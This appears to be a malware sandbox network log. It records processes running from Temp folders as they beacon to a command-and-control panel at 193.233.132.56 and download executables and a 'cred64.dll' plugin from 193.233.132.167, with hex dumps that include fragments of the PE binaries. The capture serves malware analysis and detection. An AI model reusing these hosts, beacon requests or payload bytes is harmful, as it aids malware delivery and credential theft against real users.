Apr 18, 2024 23:40:07.874691010 CEST	719	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 31 30 0d 0a 20 2b 2b 2b 5f 31 5f 61 30 31 39 39 36 36 34 31 64 61 32 63 61 66 38 66 32 30 61 30 39 62 65 64 64 31 65 32 38 61 62 64 30 31 66 62 61 35 35 64 66 32 33 63 61 61 61 62 33 62 62 37 62 65 65 61 39 66 62 62 35 31 61 36 38 62 64 65 35 36 61 36 30 37 31 38 62 37 33 63 34 30 64 2d 31 2d 5f 32 5f 66 32 30 32 39 66 32 63 32 62 66 64 38 34 63 62 61 30 35 30 35 61 66 35 39 62 30 63 37 63 39 61 38 36 34 36 65 66 31 33 38 66 32 65 62 61 66 34 66 66 62 31 37 62 64 66 61 66 61 66 65 32 36 65 33 39 65 66 62 36 33 31 32 37 32 34 66 64 37 66 63 33 37 65 2d 32 2d 5f 33 5f 38 65 31 65 66 65 36 36 31 65 39 39 63 32 62 38 61 62 30 39 33 62 66 37 66 37 32 33 30 37 38 62 63 30 34 61 62 34 34 35 64 61 32 63 38 61 66 39 61 63 66 61 30 62 64 38 66 35 66 30 62 61 31 62 34 35 66 38 2d 33 2d 5f 34 5f 38 36 33 38 63 64 36 66 30 38 61 38 64 39 62 64 62 30 30 66 30 32 38 38 66 63 30 66 31 63 39 38 66 66 37 35 62 39 36 61 62 63 36 63 61 35 66 39 62 61 65 32 32 63 64 37 65 34 64 34 39 35 34 62 36 33 65 38 2d 34 2d 5f 35 5f 66 36 34 38 64 64 37 37 33 34 38 33 38 35 65 31 62 66 30 30 35 65 61 64 65 39 33 65 30 37 65 38 64 62 35 66 39 38 34 61 62 63 32 61 62 62 39 65 38 62 66 65 30 36 66 31 64 61 63 33 65 30 35 30 33 39 63 35 66 32 34 37 34 61 37 66 66 32 36 36 61 30 37 30 64 37 38 63 34 61 62 66 63 61 61 62 64 63 30 66 62 30 66 65 65 30 33 39 39 33 33 39 61 36 65 32 35 61 34 61 31 63 34 32 31 36 63 39 65 35 33 37 31 63 39 32 61 32 38 66 36 35 30 35 38 38 31 37 32 66 35 62 35 30 36 62 39 37 36 33 39 64 65 32 38 31 30 65 31 66 35 36 37 31 38 35 32 35 63 31 62 66 65 39 65 38 39 39 30 66 2d 35 2d 0d 0a 30 0d 0a 0d 0a Data Ascii: 210 +++_1_a01996641da2caf8f20a09bedd1e28abd01fba55df23caaab3bb7beea9fbb51a68bde56a60718b73c40d-1-_2_f2029f2c2bfd84cba0505af59b0c7c9a8646ef138f2ebaf4ffb17bdfafafe26e39efb6312724fd7fc37e-2-_3_8e1efe661e99c2b8ab093bf7f723078bc04ab445da2c8af9acfa0bd8f5f0ba1b45f8-3-_4_8638cd6f08a8d9bdb00f0288fc0f1c98ff75b96abc6ca5f9bae22cd7e4d4954b63e8-4-_5_f648dd77348385e1bf005eade93e07e8db5f984abc2abb9e8bfe06f1dac3e05039c5f2474a7ff266a070d78c4abfcaabdc0fb0fee0399339a6e25a4a1c4216c9e5371c92a28f650588172f5b506b97639de2810e1f56718525c1bfe9e8990f-5-0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49743	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:08.396150112 CEST	186	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000054001&unit=246122658369
Apr 18, 2024 23:40:08.645564079 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49744	193.233.132.167	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:08.920381069 CEST	56	OUT	GET /mine/random.exe HTTP/1.1 Host: 193.233.132.167
Apr 18, 2024 23:40:09.170232058 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:09 GMT Content-Type: application/octet-stream Content-Length: 1166336 Last-Modified: Thu, 18 Apr 2024 21:22:12 GMT Connection: keep-alive ETag: "66218f04-11cc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 04 8f 21 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 1c 08 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 12 00 00 04 00 00 b9 21 12 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 7c 61 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 11 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 7c 61 04 00 00 40 0d 00 00 62 04 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 b0 11 00 00 76 00 00 00 56 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL!f"w@0!@@@d\|@\|au4@.text `.rdata@@.datalpH@.rsrc\|a@b@@.relocuvV@B
Apr 18, 2024 23:40:09.170250893 CEST	1289	IN	Data Raw: 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 e8 83 f0 01 00 59 c3 e8 e6 de 01 00 68 f8 23 44 00 e8 72 f0 01 00 59 c3 e8 59 3c 00 00 68 fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY
Apr 18, 2024 23:40:09.170269012 CEST	1289	IN	Data Raw: 6b 10 04 00 8b 4f d4 85 c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d Data Ascii: kOu3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Apr 18, 2024 23:40:09.170288086 CEST	1289	IN	Data Raw: 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 8b 7f 38 eb d2 8b 40 38 eb ee 33 c0 c7 05 80 18 4d 00 64 00 00 00 33 c9 66 a3 32 15 4d 00 41 a2 34 Data Ascii: {{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]UVuWVgFO GF
Apr 18, 2024 23:40:09.170305967 CEST	1289	IN	Data Raw: 00 50 57 8b f1 e8 4e 00 00 00 85 c0 78 38 8b 4f 04 8b 45 f8 8b 04 81 66 83 78 08 7f 0f 85 33 08 04 00 80 7d ff 00 8d 8e 64 01 00 00 75 1e 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 16 8b 49 04 8b 45 0c 41 89 08 5f 5e c9 c2 08 00 e8 de 08 00 00 eb Data Ascii: PWNx8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3M^At)ttH9AxUSVu3W
Apr 18, 2024 23:40:09.170325994 CEST	1289	IN	Data Raw: ff 89 5d fc 47 e8 ed 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 55 f8 e9 8a fe ff ff 8b 41 04 6a 7f 59 66 39 48 08 0f 85 bc 05 04 00 8b 45 fc 48 4f 83 bd 6c ff ff ff 00 89 45 fc 0f 84 83 03 04 00 80 bd 75 ff ff ff 00 8b 45 c0 0f 85 7b 03 04 00 8b 18 Data Ascii: ]GpEUAjYf9HEHOlEuE{lepEE;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uE
Apr 18, 2024 23:40:09.170344114 CEST	1289	IN	Data Raw: 8b c1 89 51 20 89 51 28 c3 55 8b ec 8b 45 08 85 c0 0f 8f 88 01 04 00 83 7d 0c 00 0f 85 a9 01 04 00 83 7d 10 00 75 34 83 7d 14 00 0f 85 b8 01 04 00 83 7d 18 00 0f 85 b7 01 04 00 83 7d 1c 00 0f 85 b6 01 04 00 83 7d 20 00 75 19 83 7d 24 00 0f 85 7e Data Ascii: Q Q(UE}}u4}}}} u}$~3] jjwsjjsjUVF}^W3jZQL>3YNF~F<BN$;\|SA23~,FDMEuNGA;\|u[_
Apr 18, 2024 23:40:09.170361996 CEST	1289	IN	Data Raw: 5e c9 c2 10 00 55 8b ec 83 ec 74 53 56 33 db 8d 4d 94 57 89 5d 90 e8 14 7b 00 00 ff 75 08 8d 4d 90 c7 45 a4 34 cc 49 00 89 5d a8 89 5d ac 89 5d b0 88 5d b4 e8 78 1c 00 00 8b 4d 0c be 18 14 4d 00 8a 45 b4 88 01 8b ce e8 db 0b 00 00 68 9c ca 49 00 Data Ascii: ^UtSV3MW]{uME4I]]]]xMMEhIM'nj5MM]]]& ]MiVMzEPM@hIMmSjEPEP/yMihtIME]EmSSEPEPxM
Apr 18, 2024 23:40:09.170382023 CEST	1289	IN	Data Raw: 11 83 7e 04 00 75 0d 89 4e 04 ff 06 89 4e 08 5e 5d c2 04 00 8b 46 08 89 48 04 eb ee 55 8b ec b8 04 00 01 00 e8 ec eb 03 00 56 8d 45 fc 8b f2 50 8d 85 fc ff fe ff 50 68 ff 7f 00 00 ff 31 ff 15 68 c3 49 00 8b 45 fc 85 c0 74 05 33 c9 66 89 08 8d 8d Data Ascii: ~uNN^]FHUVEPPh1hIEt3fP7^VVYtf\|F\u3fLF^UVW3FO;Qu_^]USVWueYN3C;FPiq?PFuCP
Apr 18, 2024 23:40:09.170398951 CEST	1289	IN	Data Raw: 56 57 68 b4 03 00 00 33 db c7 44 24 14 a8 03 00 00 8d 44 24 18 8b f1 53 50 e8 de ea 01 00 83 c4 0c 39 9e 98 01 00 00 75 0b a1 e4 13 4d 00 89 86 98 01 00 00 39 9e a4 01 00 00 75 11 a1 e8 13 4d 00 89 86 a4 01 00 00 89 86 a8 01 00 00 39 9e b0 01 00 Data Ascii: VWh3D$D$SP9uM9uM9uMSW[Md$$D$F@D$D$D$ qD$$=hMD$PjIhM_^[]U=hMV
Apr 18, 2024 23:40:09.419998884 CEST	1289	IN	Data Raw: 41 fc 39 18 74 44 8b 01 6a 03 ff 10 ff 77 14 e8 b3 c0 01 00 59 8d 4f 18 89 5f 08 89 5f 0c 89 5f 10 89 5f 14 89 5f 4c 66 89 1f e8 64 2a 00 00 8d 4f 28 e8 7a da ff ff 39 5f 58 0f 87 f6 f6 03 00 8d 4f 50 5f 5b e9 3e da ff ff 50 e8 77 c0 01 00 59 eb Data Ascii: A9tDjwYO_____Lfd*O(z9_XOP_[>PwYUS]EVWhA@~7jV&tQWYY_^[]VWj^$MZu MMrZMhZM^ZMTZM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49745	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:12.178420067 CEST	186	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000055001&unit=246122658369
Apr 18, 2024 23:40:12.426331997 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49746	193.233.132.167	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:12.904246092 CEST	56	OUT	GET /cost/random.exe HTTP/1.1 Host: 193.233.132.167
Apr 18, 2024 23:40:13.152118921 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:13 GMT Content-Type: application/octet-stream Content-Length: 2327552 Last-Modified: Thu, 18 Apr 2024 21:22:33 GMT Connection: keep-alive ETag: "66218f19-238400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 9f 1a ea 14 fe 74 b9 14 fe 74 b9 14 fe 74 b9 5f 86 77 b8 1f fe 74 b9 5f 86 71 b8 d4 fe 74 b9 5f 86 73 b8 15 fe 74 b9 d6 7f 89 b9 10 fe 74 b9 d6 7f 70 b8 07 fe 74 b9 d6 7f 77 b8 0e fe 74 b9 d6 7f 71 b8 4f fe 74 b9 5f 86 70 b8 0c fe 74 b9 5f 86 72 b8 15 fe 74 b9 5f 86 75 b8 0f fe 74 b9 14 fe 75 b9 34 ff 74 b9 e7 7c 7d b8 08 fe 74 b9 e7 7c 74 b8 15 fe 74 b9 e7 7c 8b b9 15 fe 74 b9 14 fe e3 b9 15 fe 74 b9 e7 7c 76 b8 15 fe 74 b9 52 69 63 68 14 fe 74 b9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 0c 9a 1f 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 34 11 00 00 32 04 00 00 00 00 00 00 10 59 00 00 10 00 00 00 50 11 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 59 00 00 04 00 00 4d c2 23 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 5a 58 00 4c 00 00 00 6d 10 15 00 95 00 00 00 00 50 14 00 ec b5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 5a 58 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 5a 58 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 e4 13 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 14 00 00 10 00 00 00 3e 09 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ec b5 00 00 00 50 14 00 00 82 00 00 00 4e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 15 00 00 02 00 00 00 d0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2a 00 00 20 15 00 00 02 00 00 00 d2 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 69 72 61 67 7a 65 6a 00 b0 19 00 00 60 3f 00 00 ae 19 00 00 d4 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 71 75 73 70 6e 7a 61 00 10 00 00 00 10 59 00 00 02 00 00 00 82 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$Pttt_wt_qt_sttptwtqOt_pt_rt_utu4t\|}t\|tt\|tt\|vtRichtPELf'42YP@ YM#@ZXLmPZX@ZXt@ @>@.rsrcPN@.idata @ @* @kiragzej`?@cquspnzaY#@
Apr 18, 2024 23:40:13.152137041 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 18, 2024 23:40:13.152154922 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 18, 2024 23:40:13.152173042 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 18, 2024 23:40:13.152215004 CEST	1289	IN	Data Raw: 2c a8 8e c8 17 b8 c4 30 48 c8 c4 40 c2 1d d8 12 41 bb 50 42 93 52 02 fc b3 45 60 e9 01 b0 24 0f 28 20 4a 97 d2 40 18 b0 68 45 df 99 ae b1 22 30 96 06 1f 4d ef b2 88 df 90 1f 9e 63 a4 d0 e9 1e b9 44 df 28 ed 11 88 15 12 80 10 8c b3 b9 50 50 68 a0 Data Ascii: ,0H@APBRE`$( J@hE"0McD(PPht@0 )L$&*/+,2^.H.O6.P"DBh@@=J!0P!`PB@>i%DpQB4B!$?%i#d)Bu\|"$H
Apr 18, 2024 23:40:13.152240992 CEST	1289	IN	Data Raw: 15 f2 a7 45 a0 cd 60 25 3d 46 71 16 50 f6 ab b4 a2 4b 01 8a 7d 23 b8 d3 09 15 2b c6 50 87 35 ec ee cb 6a a7 5b 9b c8 05 8a 55 ee f1 a0 18 bc eb 65 03 1c f1 79 b0 07 ad e2 e5 0f a8 b6 9b 3d f8 e8 8a 55 c2 b6 08 b1 e2 7c 3f ed ec 55 eb 90 cf 50 01 Data Ascii: E`%=FqPK}#+P5j[Uey=U\|?UPb~/U;uPB#Hj=LbKmauV_^^$SbUA3dB]n_f591J$?v<=4"R<(.Vlzu+t$/z
Apr 18, 2024 23:40:13.152260065 CEST	1289	IN	Data Raw: 86 9a 39 92 92 cd b5 9f 70 23 84 e7 e0 89 86 f5 b7 3f eb 41 1e 04 31 00 f7 3b c7 0f 43 f0 24 81 fe 76 6e 83 8d 46 23 02 79 3b c6 0f 86 e3 a0 8d eb bf 85 f6 26 74 16 73 14 41 45 97 a0 c6 45 68 e4 3f 3c 39 1a 33 ff 15 04 84 e4 f6 53 51 1d 2c 06 25 Data Ascii: 9p#?A1;C$vnF#y;&tsAEEh?<93SQ,%69;uPU)H\-PA#CP4RZr=)KIIHR/3;Pd710c>u0yjxE.^`^u=$H#`vP63@"Ut,AAQ
Apr 18, 2024 23:40:13.152280092 CEST	1289	IN	Data Raw: f0 14 2e 44 a2 5f b4 f1 8d f0 c2 b8 9c 9d d0 17 e6 2f 90 13 0c 56 c4 6f 72 d3 50 46 9c fd 0c 7d f7 04 e1 f2 27 2c 5e 51 c0 b5 3a ce e8 24 e3 56 9d a0 df 6a 0d 68 9c 31 64 52 6c 84 f2 41 aa eb 09 bd 91 7b 69 79 17 79 8b c8 13 1a 77 a9 28 c0 b9 5e Data Ascii: .D_/VorPF}',^Q:$Vjh1dRlA{iyyw(^ f~>,'?sTi"p)NlBU~UjAG:Jp,[@.Bb4#d,{ O4qw[tFr`GKPu{~a~O`hX3E
Apr 18, 2024 23:40:13.152299881 CEST	1289	IN	Data Raw: e8 56 b8 a4 39 38 51 7a 6a 1c 00 d7 50 9c a5 5e af 82 21 16 8b 33 c0 6f b1 ad 6c 30 4d 25 f0 f9 4a 5b f4 69 71 5c 5b 3e 43 e1 92 8e e5 d1 80 ad 33 10 95 5b ed 08 40 a7 91 50 79 24 2f 8d 7f e2 09 5b 76 a5 73 fb 80 ca 8d 75 e5 85 c9 00 79 34 f7 d9 Data Ascii: V98QzjP^!3ol0M%J[iq\[>C3[@Py$/[vsuy4fNA0lTNuN-.0T;uT0W+tAlwOi4RJ\|uIW}Ox*=uJK;J`
Apr 18, 2024 23:40:13.152321100 CEST	1289	IN	Data Raw: a0 00 b3 3c 4a 3b c7 26 74 2c c2 d0 1f 2b 26 5d f8 80 00 39 5e 10 72 5b 89 da 0a 78 08 ec 87 60 0e 33 d2 66 7a 89 18 59 eb 2e 72 f0 3b 18 d9 75 0d 4d 83 e3 98 d7 05 fb 06 7c 1c eb 93 83 49 dd 8e 33 3c 6a e2 e5 b7 f7 0d cf 21 b8 8b 18 d1 ff d8 6b Data Ascii: <J;&t,+&]9^r[x`3fzY.r;uM\|I3<j!kW=m`'UAQ>[ZF?&`McO.rn,sA,{*Fg@+RI#HG1QCC$V%\PuBBn7si'O
Apr 18, 2024 23:40:13.399506092 CEST	1289	IN	Data Raw: da 25 f6 73 c9 35 a0 90 dd b8 81 4a ec 95 33 83 f3 8d 71 d4 4b b4 c1 96 68 98 25 ba 97 1a d0 e0 53 70 0b 04 e8 52 ca f1 29 c6 d0 4c 76 50 ee 74 9c 72 8c aa fa 55 e0 97 e9 44 85 45 10 02 d3 64 84 0d 5b 10 e2 2e 2a 1d 27 66 92 94 af 28 4e 5c 45 48 Data Ascii: %s5J3qKh%SpR)LvPtrUDEd[.'f(N\EHJ7O?;P@i\<2='`OV@D4 .MBlp"A#c x,Rl%sXHlNdm.dRx$r:AKpL\|]6JnB\|bmB$1P<fWf +I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49757	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:15.316261053 CEST	66	OUT	GET /enigma/Plugins/cred64.dll HTTP/1.1 Host: 193.233.132.167
Apr 18, 2024 23:40:15.555944920 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:15 GMT Content-Type: application/octet-stream Content-Length: 1285632 Last-Modified: Thu, 01 Feb 2024 16:00:36 GMT Connection: keep-alive ETag: "65bbc024-139e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c6 de c9 0d 82 bf a7 5e 82 bf a7 5e 82 bf a7 5e d9 d7 a3 5f 91 bf a7 5e d9 d7 a4 5f 92 bf a7 5e d9 d7 a2 5f 32 bf a7 5e 57 d2 a2 5f c4 bf a7 5e 57 d2 a3 5f 8d bf a7 5e 57 d2 a4 5f 8b bf a7 5e d9 d7 a6 5f 8f bf a7 5e 82 bf a6 5e 43 bf a7 5e 19 d1 ae 5f 86 bf a7 5e 19 d1 a7 5f 83 bf a7 5e 19 d1 58 5e 83 bf a7 5e 19 d1 a5 5f 83 bf a7 5e 52 69 63 68 82 bf a7 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 0f bf bb 65 00 00 00 00 00 00 00 